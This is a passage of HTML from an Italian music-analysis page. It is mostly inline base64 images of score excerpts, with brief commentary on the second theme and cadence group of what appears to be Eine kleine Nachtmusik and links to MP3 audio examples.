p2pSL1j8+g8KsZ6TnTw9ABhcK+cmgEEAkg06MvswJtzTM32tpnsZRWPowY\/vSd33iMyjMekZ6\/vQAZHChkJ8MCgFEMujE6I6dcEvb5F1W52kQhaWPMbwvHdcnPoPCrGek508PQAYXCvnJoBBAJINOjJHk0fczz9xldZ4GUVj6ADP70mt94jMozHpGev70AGQok58MCgFEMujEGAwffT\/zzF1W52kQhaV3NLkFXXZqfIb4OxZ7aukByOBCIT8ZFAKIZNCJ4Uu9LU2uyNMIKWu9jsLWjM8Qf8diTy09ABlcKOQng0IAkQw6MXyltSXHT34cxP7zShQ2YnwGhVnPSM+fHoAMZfKTQSGASAadGOP5Q2\/WM3OXNXoa4f5zhcewgsK+jM+gMOthM+G98qcHIIOL9PwzAcjgGEAkg06MYUe3Jakn4U5hX8ZnUJj1sOHwjvnTA5DBRXr+4QBk8A0gkkEnxrCctuT+4fYgr2NqPgxfCpsyPoPCrIcNhHfPnx6ADC7S8w8EIMOKACIZdGIMO6It7fVIvCjsy\/gMCrMe9i9Pbn6FBSTDvPT8XxqbWSFDbgCRDDoxhlVuS\/s+FRdf5pOiUgaFWQ\/7SZWYX2EByTAvPf+XzGZWyJAYQCSDToxhom1pcu0sz0P\/2Uy6zytr1vEZFGY97E+8lPwKC0iGeen51TazQobDN7NIjGEJbcn+yeFFfPskdnw8MxRmF59BYdbDFMKTQSfDjPT86QHIIJXhkokxLC69vaDMFxqq0qWxNWlLXRTCk0Enw4z0\/OkByCCV4ZKJMeystvTnAwMjb0RhgrSlLgrhyaCTYUZ6\/vQAZJDKcMnEGCbXllz+BOjjCLSlqhkUZj1MITwZdDLMSM+fHoAMUhkumRjDtNpS+w+Euu51H\/DpRgMjb0RhgrSlLgrhyaCTYUZ6\/vQAZJDKcMnEGFazLf0Z0P7zShQmSFvqohCeDDoZZqTnTw9ABqkMl0yMYUJt6W1Voi0NU5ggbamLQngy6GSYkZ4\/PQAZpDJcMjGGqbSlp6pEWxqmMEHaUheF8GTQyTAjPX96ADJIZbhkYgz79c\/3AAAA4MebtrS8mr27iyWl7x0bP69EYYLxGRRmPUwhPBlSMrifSOlrmB6ADFIZLpkYXWhLtKWyGRRmPUwhPBlSMtCWyFA7wyUTo4tQW1pald7e8fXnOz5CC4V50Za6KIQnQ0oG2hIZame4ZGJ0UWlL7aoU0JYcbyRIYV60pS4K4cmQkoG2RIbaGS6ZGF3y29LHnuQVxtjPXO6lRmFetKUuCuHJkJKBtkSG2hkumRhd0trSZetJ7m0p5l5qFOZFW+qiEJ4MKRloS2SoneGKjeH1Qm3QliLvJbKT3CnMi7bURSE8GVIy0JbIUDvDtec7ldaWwrqLvSfRloplUJj1MIXwZEjJQFsiQ+0M155fBzltKbK7HN6T\/lGY3Y6vRyKF8GRIyUBbIkPtDFfS18HkTRPaUnB9oSpdGm8IbamLQngypGSgLZGhdoYrKcbkmxXdloKrUuOOfz7gdTtNChOkLXVRCE+GlAy0JTLUznDlxdimLcVXpdebPn3A8Y6CFCZIW+qiEJ4MKRloS2SoneFKbUvDt45rSylV6bo9FdrSaRkUZj1MITwZUjLQlshQO8OVGmP4\/YpoS\/aetHQFaUunZVCY9TCF8GRIyUBbIkPtDJdAWxoIoNWWHG\/6FMP+80oUJkhb6qIQngwpGWhLZKid4SrWlgAAAPDjTVvy6HAqf6p0D2P\/eSUKE4zPoDDrYQrhyZCSwf1ESl\/D9ABkkMpwafzZUu+LtrAtSVWli7aUjbbURSE8GVIy0JbIUDvDpdSW7ElWtSV7TzqnLaV0xJ9bR95OJIPCrIcphCdDSgbaEhlqZ7jyYjz1EPu1379+\/ZFjoKeIwWUl4EaNu2cVJoU3hLbURSE8GVIy0JbIUDvDJdaWjGH825K9J7ncrjdYwI2ebk1bKn9HRwrhyZCSgbZEhtoZrqQY9lrSuPz7168\/8k3zNLLI81un9\/G4L4jCCtOWuiiEJ0NKBtoSGWpnuJK+Dmaq0hXflp6uGrvdLuyr4X5Q\/gzrPqZ+BoVZD1MIT4aUDLQlMtTOcIm1pa4Rvn\/9+iOvNO0xF1UEHcYF6X14XQHcx9TPoDDrYQrhyZCSgbZEhtoZrqR3SqUtDVel4TvupbEgY0+u9+4rhhXPoDDrYQrhyZCSgbZEhtoZrtgYLlXpCmtLlst777ijj4tDW9r6jo4UwpMhJQNtiQy1M1yBMbyq0uXVluYDiTzCXO6n5H3kFcOKZ1CY9TCF8GRIyUBbIkPtDBdtaSaNyCPMtW4RFJaXttRFITwZUjLQlshQO8Ol8b\/EjY3z\/evXH81EGRjE\/vl6lq6AwtrSlroohCdDSgbaEhlqZ7g0\/invsUG+f\/36o+EcvVFoS0unr7C2tKUuCuHJkJKBtkSG2hkugbY0PMj3r19\/NBBipri9Dtg7yKZWT1ZhJWlLXRTCkyElA22JDLUzXElfB6vaEgAAAH68aUsDZe3PcMOXfwxaz+qpjW2LApau6lLZK4df4h+9+4BQ4PhYd98MudMfvvb7168\/Mt64dxV2XOV1AiY1ueD7WrqqS2WvHH6Jf\/TuA0KB42PdfTPkrsDkhT5taeyqXRZ6hYAZuaz5jpau6lLZK4df4h+9+4BQ4PhYd98M6Yswc1VEW6qx1o5i5uK47HtZvbDrZK8cfol\/9O4DQoHjY919M6QvwsxVfW1pYP6VlttLzETcV34Xqxd2neyVwy\/xj959QChwfKy7bwaFdRi+ZG1bsqzd6yDKyz0vbBYfF7+qgLVdJHvl8Ev8o3cfEAocH+vumyF34lf\/i3b\/fE5bekpjuTZ+xX2FTeHDti0qYGHXyV48\/C\/l0bsPiHSOz3RY9hp8k5p11yDfv379Udfte7M+fXJ+kC0UmAIAdxwLgKN2VbK\/bmltyRLo4yBbHytbhwewCCcD4MVSlbo6z\/evX3\/UFcL+YWMgy003PVa2Dg9gHU4GwMu5ban3vrL2TQ5gKQ4HwIW9KlleuoS2ZBnZ676y9k0OYCkOB8BFbyuydI\/vX7\/+qCuH8cOWkb3uq2nf5ABW43AAXHRVJeNo379+\/VFXFOMnuzJN3lfTprEBBOB8AFz4\/tkKbSnaprEBxOB8AFwEtSUAAAD8eNOWxrqb5ZPGYV1uCgB74VgDvDi2hYS2ZBm8\/THaEoCqONYARyptqSvKirZkzwkA+jjZAF8uncGhLXVF6frYx3txpgAohpMNcLdfW7LfwtKWukICgD4ON2CFyebg05auoRLT\/vDb36IqAaiN8w1YZKY\/uLWly7vKvB2HtgSgNs43YKmZPxL6\/vXMQPdrXd7210GoSgDK44gDBDm3pcuv0\/wZgaoE4ASccoAg\/7Z0H2S+MP0ZjUMEQG0cdICgVW3p8qg4X7\/NRwIAcRx3gKCFbek+2tiYVCUAp+HEAwQtb0v3MY3Vhz9SAnAszj1AUFBb+nM\/i5\/PL0oCAIJoS4Cg6Lb0MYT9twCgHg49QNBjWwIAAMCPN20pvri9JRUGAFbj0AME0ZYAQAiHHiBIvS1d\/IPeAE6idgIDuHZpS1J5AGAdTjxAEG0JAIRw4gGCgtrS23+qfCAiANTGiQcIWt6W3v0reH2dibMDwDk48QBBa9tSoyr1FiaXPAAgjrYECFrYlj5WJfuNODsAHIK2BAjapi1xfAA4AccdIGhVWzJWJeO9OD4AHILjDhBEWwIAIRx3gKBt2tJkHgDYAm0JEERbAgAhtCVA0AZtibMDwDk48QBBtCUAEMKJBwha1ZYuc2Gy5wOA8jj0AEHSbcnYqACgDA49QFByW7KHA4ATcO4Bgha2patZmIwXusQAgF1w9AGC1ral611hsl\/ilQEAdsHpBwha3pau34XJ+EnHuwPARjgDAUERbek+7Efu9wWAjXASAoLi2tJ9cEoSALzFkQgIim5LAIAGTmBAEG0JAIRwAgOCaEsAIIQTGBBEWwIAIZzAgCDaEgAI4QQGBNGWAEAIJzAgiLYEAEI4gQFBtCUAEMIJDAiiLQGAEE5gQBBtCQCEcAIDgmhLACCEExgQRFsCACGcwIAg2hIACOEEBgTRlgBACCcwIIi2BABCOIEBQbQlABDCCQwIoi0BgBBOYEAQbQkAhHACA4JoSwAghBMYEERbAgAhnMCAINoSAAjhBAYE0ZYAQAgnMCCItgQAQjiBAUG0JQAQwgkMCKItAYAQTmBAEG0JAIRwAgOCaEsAIIQTGBBEWwIAIZzAgCDaEgAI4QQGBNGWAEAIJzAgiLYEAEI4gQFBtCUAEMIJDAiiLQGAEE5gQBBtCQCEcAIDgmhLACCEExgQRFsCACGcwIAg2hIACOEEBgTRlgBACCcwIIi2BABCOIEBQbQlABDCCQwIoi0BgBBOYEAQbQnw9\/UiOxG2wYYBBNGWAE+vrw+dCV3YKoAg2hLgo92KKEwwYp8AgmhLgI\/2\/\/TGnzDBiE0CCKItAQ4+\/oNKtCUYsUkAQbQlwAFtCV7YJIAg2hLgoF2VLtoSzNgkgCDaEuDm6cWhKsGOfQIIoi0By9GWYMc+AQTRloCF6EnoxW4BBNGWAE9fD7JzYRtsGEAQbQlwRmHCDHYLIIi2BCxEYUIvtgogSLEtcVKgEgoTurBPAEFybYkvFWynvWlpS+jCPgEEabUlvlewnY+bll2NLuwTQJBQW\/p6EZ8B6GLZtOxqdGGfAIKk2xJHBsT1tqX4hNgOWwUQpNKW3lYljgyI4w+W4I6tAgiSaEtPVYlTA+I+blR2MnqxWwBBtCVgytNeZRtjDBsGEJTfltpViYMDW2Drwgs7BxCk2Jae8i0NsPQWAGDEiQQISm5LH\/8f8YD\/H52zCYAOTiRAkHpbcszTLmTz4wPAPE4kQJBQW\/r4MZd7LRocAFxwIgGCMtuSsSp5RaItAdDHiQQIoi1xNgEQwokECNqpLU2moi0B0MeJBAiSaEuOn\/w4iP3nABCPEwkQlNaW7H+wdAW2JQ4pALloS4Ag2hL\/hQoAQjiIAEH5bcn9w+1BXscUb0uCkQCso3kQAdfZ30fHtaWPZm6xgmAkAOtoHkTAdfb30SltyViVBLeCYCQA62geRMB19vfRBm1pss3Ye5LmISUYCcA6mgcRcJ39fZTcluyfDGhL\/ZOIIBsMwApSx5FUGKQ7eTPktCV7QZkvNFtXpevs3QkcSOpEkgqDdCdvhnPb0p8PDIwcQzkbAHdSJ5JUGKQ7eTNItyWXPwH6OIL4caCcDYA7qRNJKgzSnbwZdNtS+w+Euu51H\/DpRgMjx1DOVtv83gMGSO03qTBId\/JmqN+W\/gxo\/7kI5Wy1vd2BDdl5UYTUdmJ74+7knSDallZ8IdGW0KW3LbVlzwbbkNowbGDcnbwT7i+CSlta9JXzNIL4WaCcrTaXkmSXPV2okNoPbFHcnbwN7m\/Br7YEAACAH2\/aUmRN+\/PDdkrfOzZ+LkI5W21LXrUe2QuAHFJPnz2Ju5P3wP0VoC0pUs5W22TXmZe9AMgh9fTZk7g7eQ\/cX4HktrT6m+NpnF9LoLcVBCMdYq7qOMheAOSQevpsS9ydvAHu+z+zLQV8czyNI34WCEY6xFdPm18ha+LIJfX02Zm4O\/np3zd\/TlsK+9r4M9QuX1GCkQ7Ru\/KWndxl0bwgTurpszNxd\/LTv2\/+0LZ09Xy7RN7O5V6OBCMdYnLlv6b\/aGouPnYl9fTZnLjb8dF77dj7OKJtKfJegltBMNIhJle+93L9rYgYUk9\/o6MSATZ97i479j5Iwv8SF9BdjDeSPQIEIx1icmNMPjie+7HUDqKv539kIjtanKMm27DvOswnv+\/5hL\/LO6C7RN5rBdlg5dl3ztv9M\/ngeO7HUjuOfsLscmaucNRkG\/Zdh\/kdex8hqC0F15fIe62gnK02+0ZdscF47sdSO5H+hNnl5PR1zkzbtl6HyR17vzyiLa37dum9458PeN3OnXK22ux71cXr3VNmjXRqJ9LbzdnYuiWdM9O23RdhJv99DyxvS8PfHI43ffqA4x19KWerzb5dF8leAORQe\/pvw5y2Vw+Z5ke7L8LMc7xfu7YtZX1J\/D+9h8HFXwPlbLV1NZsVshcAOdSefiPMOXv1nJm2FViB4ed4v3BVWxL5hngaX\/wdUM5WW1+1WSB7AZBD7ek3wpyzXQ+Z5kcFVmD4Ud6vym9Ljjd9imH\/uQjlbLV19Jo1shcAOdSefjvMITv2kGl+VGD6w8\/xftXjvyYKAABwuDdtyaPDqfyp0j2M\/ecilLPV1rvynm\/k9J5k2+xL7USyhFHL7C7+C0tTgbkPP8r7553bUsy3Qm8e+89FKGerzbev2F8Hl\/eCbbMvtRPJEib4MI+X8p0lqMDch0\/a+4c925L9+yBs9Z\/mJb77lbPVFtxX3NuS187he+KfsHVQW2dLGOOy7LuXHF\/PfRfh2v\/76PU52md0\/7BbW3ob6Cli2I7ZcWte++\/Ofc2\/BbmXu+ycmcOlksh1UFtkY5iPsbfeS17ht16Ea\/\/vo7frP7DDferLU5qnZGHbZbt9+c+OmWuYXPn0y+c3\/MzJUknwOqgt8sB3ydPv7ruXXMLvvgjX5t9HT+tvfAr3jzm0pXaap5G3fgCrsThZJlc+\/fL5g7j3WKm6V4PXYf7B+TKG+bgmW++l3vwug6gtwiUZyehp8e3P8f7JiLb0dNXY7U7A4mSZXPn0y8cO9KdB2gNO3khc8DqoLebAd8nT7+67l3q\/1LoGefqkX3w3mqks5p\/g\/cOzbamRpj2m7M5QwMpkmVz59MsHTvPGII0B5280Y+b4m7nFunVQOw+NYSyHvPheaviJNLPfdl+Ea9vvo6eVH3h8379+\/ZFXmvaAsjtDASuTZXLl0y8fOA4+jnMfyusWXsGGD8Gx2z39lte95sfxYgxjPOcF95JFI21X4K0X4drz++h1zWee3fevX38UFmjHZxCDlckyufLplzuevB9f6shd2j5qfCduufWfD3jdZX4cL8Yw9qNeZy\/Zvaaa2WmbLsIlHOyJ4\/lwv2S8Lc0H2u4ZhGFlskyufPrlM+fCwL3Wjf\/nRr0Cgt3j6YzjxX6Gz8dWm\/uPt6kW7TTZRbg2\/D5yPBzulyxpS\/YRuu54DlYmy+TKp18e1htitmj71PM6ECcTeo0j9dYbw7hklpr43VOwFZtNdhEu7WxPvE6G+1WDbcnlnFI7IHSwLFkmVz798pjeEPPmNg6Zj1ZnuydUG8qFJYxLZrWJ37WDOW425UW4tv0+cjkZ7lc5t6XhHLhjWbJMrnz65THVIWB\/Ps3FaHW8n5COQ0m99ZYwLpmlZv1HO5vjflNehEs+3hOXY+F+4Uhbcjyk\/l2SctIpYxGyTK58+uUB7SHmJW3MxWJ1vMt7HdSOPkuY+cBqs\/7jYzaXLSe+CNfO30fzx8L9wl9tCQAAAD\/etKWBsvZnuOHLPwYt48xZ72Jy5XUuX7ejAjbnwCkR\/+743kjtrf8YxiWw1JRfGeNNLkXiIhjfJvHH9NHMyXC\/MK4tmc+6wfH1nTbfHU2uvNrl7psqZnPqHxTu91J76z+GmU+rNuVXxngzey9rETRfq3VcHpBPWxq76pwHdtp89zW57IKX+26qmJ2pf0S4307tlQ97yqvvMsMYb2b7xS+C+Ju1zthE7ldFtKWxx1PmmR012d1NLrvm5V77Kmxbir8sK+6o9sqvDqM237fsCcemk7V1xd+vReafUV9bGljH4cdT47GdM9MaJpdd+fL5fRW2LcXflBU3VXvlV4dRm+9b9oRj0wlehN7XKvEVW2RgLvdL1rYlyzN4HaTMY7PswoGZ7rgUu5hcVeXLJ1+iyC13PxmGX5N12VbcVO2NXhpGbbJP7CEHZhS8CF1fPelvmZfXWfRO5\/75nLb0lMZy7UZPzrAJWyxjBs+ovMklFb98ZudE7rf7jdqvRvwrsGgd1F7npWHUJvvEHnJgRsGLMPottPEXjcuM7h+ebUu9WZ8+OT+IGuMu7H2WOy6FlPZqTy6p\/uVjOyd4v9lvFPwWrFuH+Nd56Ytgue+i8R2t24fxL9SMmJC+vOZ1\/2RoW7IE+jjILs\/P8rQGHuR26yDCuOaTS7rF5QM7J3izdd0rONii24WtcMyL8DHAosF92XP2Tir+hZoRltOL49TuH4trS8ZAlptu8fzsD2zRquIfx8W33Ev\/8t6Zxm+2rnuFZVu6DgGziHwRPmZYMbi73nek68PBL9SwsJCOHGd3\/9gGban3viLsD2zs+W2xCLkWrX\/7jvqX9840frP13i4m3tJ1CBg88kVoJ1kx8gqL3pGUF0pnD6zmO8f7Z4LakmVkr\/uK6H1mW0xqIwPrP\/8Udrm8a6bxm7P3djEJl95l3eApL0I7zIqRV+h6R7qGjX+hFJ5+jN4ZtSd7v5a2tNAhu1NQ18o7PohdLrfPNGV\/9t4uIOHqdVg0eNaL0A7jPvIiXe+IfcyURch99JF8Z3S\/vK8tvUYxfrIr0+R9pZTfmoIsa77ocexyuX2mKVu0944BIVffYsX4iS9CI4\/7sOuseEcSFyHlocfzndR9BNpShKr7UpPlUGiYvPUWl3e9lfF7deCOS0MGrMOK8RNfhEYY32GXMqbtfe9yFyHgWefynd19hF9tCQAAAD\/etKWx7mb5pHFYl5viZC5vxdiwV7k\/W8oykE18Rh+551\/0IhzFsg4slyDHzXwfIagtzW87XmZYuH9DuAxiDx9zufhLNJBNfEYfued3fxEOZFkKlkuT45n8NdOWuqLYE7c\/xssMC8dvCK9xusLHXC7+HvVmK3AyuOd3fBGOxWpszWVX3y8fbEtdUbo+9vFe7GA0eH09DIwzvznDLhd\/iXrjFTgZ3PMHb92SWJPdze\/t++URbcl+i6cP8ErDbv4bou9LxjCgPXnA5frvUW+8AofDivxh+7YqlqWAyR1+v3a8LV1DJab94be\/xSuNXjNfD13fMfZhjbEDLtd\/lXrjFTgfFuVfvWNrY3FqmNnq9wun2tLlXWXejsOLjTFj3w2WL5hF3z0xl+u\/R10JaxwOS6fgvlEPwSpVMrbt71fNtqXLtc28DlLs9a4xi8LGW5J5izYunNwelsu3eJW6EtY4HwpMYVPr3kcU8Gs\/vP5oeMT5F\/7PCF7D6igzkaqstejB\/MiT4Y0TnLlLAHvCMkdEgSnsJeB9RAH3beDTlu6DeJ34VbdssekUYzxDuw5Wl0GM4V0+k84esswRUWMWWwh7H1HAfRt4tqXLo+KU36xV51VD10n6caM6DmUMP3ytFONEKh0UNWYhLvh9RAH3PeDclu6jjY15wjYtPLXdOR6mIwfz3LYvs68sEyl2UJSZiKz49xEF3PfAkrZ0H9O4547aoCfMcV8uJ2n3keyx+ctsqq7jIibSapXmIijlfUQB9z2wsC39uZ99X56wQXkPlU2eoR0ncefIH2MPXyulMRGvtVJTbDpSst5HFHDfAxFt6WMI+29VcsIctzZ8dGadzmV2VPtkKPk1Vm9GOrLeRxRw3wNv\/gU0AAAAfP1pS1Lu+co7arIncHkth4eNnOk6rxOpOlOstuh9xIEUd8Np2\/SoyZbnfjQfeLjfJ1J4mgjg\/j7iWKIb4rSdystZhuPRfOwR\/28WhSeIMINvI9sML0T3xIH79cApl+R1Lp98yteeHSKd+QZhBdGdceau5XWtYf5oHjjiK22ewlNDvNNeHyyycHPM7MJjNy4vbQ0z53LX4V7yuK86L2Q55MXBUku2yPyOPHz7Hj79MsZeAcvJXvvQrzov5GJfYYb\/XvE6zQ\/fx7zJZxrtSKWO\/qrzArCvtf9tuJkznSPyojOdh7Z0lf47uwFsSrotcVDynXEaqtJFWwKgx\/Mk8j3ZOSh\/8M1xDqrSxYYHoIe2tA2+P05weE\/6p\/bsAOxIui05ZiuDb5HyDq9KF5scgB7a0n5O+L483LE96Z8T5ghgL6JtibOy7ajvzmOdViSu\/MoAAAFUSURBVJJ+nDNTALugLW3szK9SlMdmBqBG8W8Q4KzsQmdCMexhAGrk2hJf+WMGWimgia0LQE1CW7KM4JvqHGNrDkhhxwJQE\/rfiTNe6B7pNHQmAAAcLfkGHfie5ht9BWrTdnhGACBo1aHMHylJGf4DP0TiiQCAprVHc+NLmi\/seDwCZTwIAJAVcTrzDS2F8iqIlQcAZRzQR6M2pWOpAUAfxzRO\/6+SZWFtAWAXnNT4n6U28QU\/j5UEgL1wWOM9mtMKLBoA7IhTG5\/ZmxM94C3WBwC2xtmNDl21iXLAUgBADZzgGDTQnMo3hgOnDAAn4CiHg7HmVKNS1JsRAOAPznT4my9Pmp1ju8AAABcc7ljOsTwtrSmJtwYAKOOgRw7HnpQie\/0AAHE49KEiu\/+0ZK8NACATXwPYBq0IAJCCrwcAAIAW2hIAAEALbQkAAKCFtgQAANDyHy\/76TK7sxoCAAAAAElFTkSuQmCC\" alt=\"\" width=\"228\" height=\"96\" \/><a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-2\u00b0-Tema-frase-II.mp3\">EkN 2\u00b0 Tema, frase II<\/a><\/p>\n<p style=\"text-align: justify;\">Il Secondo Tema termina alla b. 35.<\/p>\n<p style=\"text-align: justify;\">Secondo Tema completo: <a href=\"https:\/\/www.carloderi.com\/wp-content\/uploads\/2013\/09\/EkN-2\u00b0-Tema-completo.mp3\">EkN 2\u00b0 Tema, completo<\/a><\/p>\n<p style=\"text-align: justify;\">Segue il Gruppo delle Cadenze (o Codette), connesso al Secondo Tema in quanto sono presenti alcuni elementi che gli appartengono. Queste Cadenze (due, di cui la prima subito ripetuta) cominciano a b. 35. Sono molto estese (21 battute) e melodicamente molto caratterizzate, tanto da apparire quasi come un terzo tema. E&#8217; da notare in particolare la melodia che sta all\u2019inizio di questa struttura, dove l\u2019impiego di trilli e di crome ribattute rende manifesto quel senso d\u2019ironia che pervade un po\u2019 tutta la composizione.<\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAxIAAADeCAIAAAAmZKHOAAAUtUlEQVR4nO3d27bcuI0A0Pr\/n9Y8eFI5qYsKpAjetPdTllsCQRKk0Ce2+3EAABDwGJ0AAMAatE0AACHaJgCAEG0TAECItgl28Hg8Hg\/HGSCXexaW9\/iP0YkAbM49C2t7\/DE6F4DNuWdhbdomgG7cs7AwPRNAT65aWJi2CaAnVy0sTNvE3tQ2s1GOsJJHoW\/vjsof4pQrE1KOsJLStunfJyfSVMFUFCpzUo6wpIr+6b2FGj0J+EqhMiflCEv6+aOjbw\/4GjE\/Vcq0VCQs6bxnOnnAB4n5qVKmpSJhSdVt0+FPJzE9bRPTUpGwpCttE8zmUejbu6Py5z4UGazn\/Cvy\/kz\/DKFIadv08EdEGUR5wXqKeiZfERZS0T+9t1CjJ8HOlBesR9vErj62RJEHFDx9KC9Yj7aJXVXXtoKnD+UF69E2sasrta3a6UCFwXrOPy2PN0OShAr+lYDJqTn+x\/sX94rRs9nW+VLbBRYVuUPUNmOFyq7uFvYpXUW0CWpk9HR3YMHZ0s\/SVdsM97vs6i5il\/j8ij69SUavwaosMlv6Wbpqm+F+lN1Lacbr1SU+rdR9KfiYK4xrzhfQwrKin3eCS4PhzsruvGpLX2S4gTeOFgr4SdvE\/IrLTtu0nAlvGc0T8O78BnBFMIP2bZNqns3kO6KFAv45P\/juBGZQ2Tb9fEBlz2C5LdA8wZ0F\/yXKbcBAZZX3s1LV9zxWX3Y3JtyNton5lf0lTAVxlfg4Oy24SxNu5fykuwEYruBvYKqJrsRH2HW1NU8AjPXjd3Zf\/0T5wnWWvc7Dt1LzBMAoxb9XqXgA37a+tm+bnvRPAHSW+N+ke3+9PD2G+bZls22lzgmAbmr+u7zFY\/ieLWiVtukfzRMAHdT84bjiMXzJFrRW2\/SkcwIgj7aJzxZtmw5\/4SoAafq1TaVvcd37\/3UV34h126Z\/tE2wPQec\/rRNG\/rYLZU2T6u3Tf9onmAn1282uKi4bSoeQCl3FGmYgvdLpG1aYmfdp7CBosvNeSdP8Z+kKx5ABf\/S5KiX3ik\/h\/v2wIp301rZUiepLIXNC1sxepH+qXIHn\/9zPx+eO63Curc4Gv3J+Yxr5eWBDS6m5RK+YvXNKpU0WWHzwtaNHk9y+5pnlK\/\/lcTH2yfza4gvNapqI66f82\/3RcT1sBemPsCKORfZctcikuYobF7YoqErXtm42hnrrG0KVl7dW\/xzcdFOFj\/ietjLC9DbomlHNNn6RSVNUNi8sMFxL76+ZbUz1ms91Z2Q7S\/lPBeX7v31ItcDNlqGrtbN\/MT5jmyzd98kzU7YvLCRQVvF2azaGUsxDXblSvr4LYy7GLP5xK\/HLB2923Cp4nMZuODZkqYmbF7Yn4M2DLVZtTOWShrsypX0\/m6RKzEbzrdh8NJM+gyUqm4W\/Vc7W1IVCZsX9nzE5gG3KXWGU0njVd9HX7qOkNKYLw9cnGZ1em11GyjPlSn0XOoOkupH2LywJ8NlxNyp2hlIGY1XfSUVNSLBUX4+2S3PoiHqdBsoz8X8V5\/+X0nFI2xe2JPhFgrL3Sij8aqvpIxe5PnMt+dL86xIstvt\/Myw21gT2mb6ScUjbF7YzlbPn0mooSnUnefURuTbK0WhSjMccjvf\/CbdafpJlSNsXtjONpgCw6mhKdRdSf9eSWpBrrdNV3qmnrfbHt+DK7aZ\/lodg7BD7DELBlJAU\/h5JV1sQYIiKX17smduzWXHn9w2008qFWHzwva3xywYSAFN4eeV1L81+ZbStyd75la6UMEXg0NM685z\/6eoVISdIWxw3Lrb4FvAVrlxTxMVkGoulbpi366n4LUV7Ya+qMv2Ssx1y+\/Oc2dXGbfEM3LbVLmbWQro4km4p9Tl+rYdwW2K3HpNbsNWkVesvYaruuL02VLDqj4Zom3O3MoU1dPkJNxQ6lp924u\/v36SQNHdV7f7zeMvVHt3nju7al7VJwM1T577GF89TY7BPaWu1be9CG5W9vVXEX+b6rrz3NmVqmYV42vOSaiWulAvG1F6Z6XefaXBqwea0J3nzq5UNQsZXHNOwhWpC3Xxznqk\/Z1SwcRaDTeVO8+dXalq1jKy5hyGi\/JW6fqd9fj1k6oOue1XV3eeO7tS1axF2zSLikXIWKVWd1bSDpam16qo2kZrmMNN5h6XlK2wSWE\/xoy7PqlIPs1HYWnDCmLIkZjQlXXodmtU7E7S9sXTq8i5briMaVYns+vcf0rKVti8sPHgGeP2nCObmahtev+nHRJIHSKSwJXbISP\/K\/lk5xZPry7n6oEyZnoxpc3m3j9bYfPC1sVvMmL\/ObKfMXXwsxY7lOnAY9DqjsjI\/+fowXVLWtu6pStKJjt+tTvPvWe2wuaFbTJK3Vij5sh+pugbTp5pNVZe\/Lp8mhzXjPwjg0bGTVrbJuvWNn7FKHXuPPdu2QqbF7bVQKWjjJ0j+xl\/5f18rMlYScHrkml1XDPyf8a8uG5Ja3t90RoGrx6ozp3n3idbYfPCfhurdMTSIYbPkf0MvvIiTzYZLil4RSYNj2tq\/hfXLSm3R\/ierYjcdneau\/PcO2QrbF7Yk+Hi45YGn2SO7Efb1N7FYzlQ3bqNy3dety2hxzSfN4YbsqGjhuM+FmibLpbmtwh5Rd\/nuGaoW7dx+c7rtiX00DbxH0M2dNRw3MfItqnhkz+DxH89ScbhTM3\/4rol5ZYXtvnuZCSZFHb+uWdnK2xe2BN1b13Rf47sZ2TVxh++PuL5r2efh6Szmpp2ZN3OX09IasbWISOfb0lmxFxi7qnZCpsX9lz1i9XD9Z8j+7l729TnSCSd1dS0z9ct8npCUtO1TRnJnCSZEXOJuadmK2xe2HNX3q0brv8c2c+wtqn5w+dB3mP2PBVJBzU17YvLkpRbXtjmu5ORZEbMJeaemq2weWF\/DnoxQulw\/efIfu7SNo09G4\/wHx0vXZ\/UnK\/ET8otL2zz3clIMinm\/HNPzVbYvLCRQbsZMkf2s3nbNMnxeMZvm8nMpzopt9Sww+skkmRSzMnn\/kzy+T8yzpGwzcMGB+1jyBzZz7xt08UijhyMbofkJX6rBGY+20m5dQg77R2akUZSZSbpc46EbRi2aNBsa1U70xrTNsWfrK7mj0di1DlJGmXmQ77WlGdeyacNvlsXrbX7ws426FrVzrTG\/I68+JPVnc08PdNRclyLUpr5Fljrcp95JZ+0TWudI2FnG3Stamdat2ubXh6oiFyXTPzJpG9DZ2td7jOv5JO2aa1zJOxsg65V7Uxrxrapyc+EfkaYs20qenjmW2Cty33mlXzSNq11joSdbdC1qp1pTdc2nf+IqGisvwG\/DVQR+UoywYeDz898C6x1uc+8kk\/aprXOkbCzDbpWtTOtbduml4DxX89QOpC2aY+wbWmb1jpHws426FrVzrTmaps+9kz3bJsir8x8C6x1uc+8kk\/aprXOkbCzDbpWtTOtidqmbz3TDdum4Csz3wJrXe4zr+STtmmtcyTsbIOuVe1M6\/VPlgEA8O7o\/NOm48vPeH5m2XzEk1\/PUDFQJL1u+VdIym2hsM0LLCnJ5jHzrHWOhD1+rX\/n8lur2pmNtknblGu5yz0jpraprbXOkbCHtomNTNQ2pfZMH0d8\/\/Xs41QXX9u0dFhtU3NrnSNhD20TG5mlbTrvmTq0TQ0HOs+h7q3zF2e+BZa73DNiapvaWuscCXtom9jI+LbpZ8PUqsSDjVqTsU5yqHtL27RuWG1Tc2udI2EPbRMbGdY2HbGGqXnb1Geskxzq3tI2rRtW29TcWudI2ONmbVOHTwkDLdA29RxrwrYpktjMR3S5yz0jpraprbXOkbDHzdqmQ+e0tWFtU7cmJt4waZsyLHe5Z8TUNrW11jkS9rhf29RtFPob0zb1bGImaZieyVS8om1aOqy2qbm1zpGwx13bprWOFUED2qbOfcw8PdOx2nXfxHKXe0ZMbVNba50jYY9btk2HzmlTvdumzj3TyYgvD7Qa7mcypc9H0pv5ZC53uWfE1Da1tdY5Eva4a9vUeSz66No29e+Z3gf99kDDEc+TKX1e27R6WG1Tc2udI2GPe7dNax0ufurXNg3pmY4\/J2S5tim+JjMfy+Uu94yY2qa21jpHwh43bpsOndN2erRN8YYptbbWbZvahu1sucs9I6a2qa21zpGwh7ZJ57SRudqmvByO1dqmomWZ+UAud7lnxNQ2tbXWORL20DZpmzbyoW2KdzkAAHdzJP20qSiDbN8G6pbAEfu3nIpl6ZZ\/haTcFgrbvMCSkmweM89a50jYw0+b+n7sSJXYNk3VMx0rtE3VyzLzUVzucs+IqW1qa61zJOyhbdI5bSSrbYo3TNqmv2nUnauZz+Fyl3tGTG1T28\/GWudI2OPGbdO3Dx\/r+m\/30jzoTy8ZZJuhXr8lcPFcDZ\/XieUu94yYbcMmJdk85t\/gbb8ca50jYQ9tU9P6Z6znDjbbxW9V8q1iutXQDMX6MYHrJ2r4vE4sd7lnxGwbNinJ5jGfkZt\/NtY6R8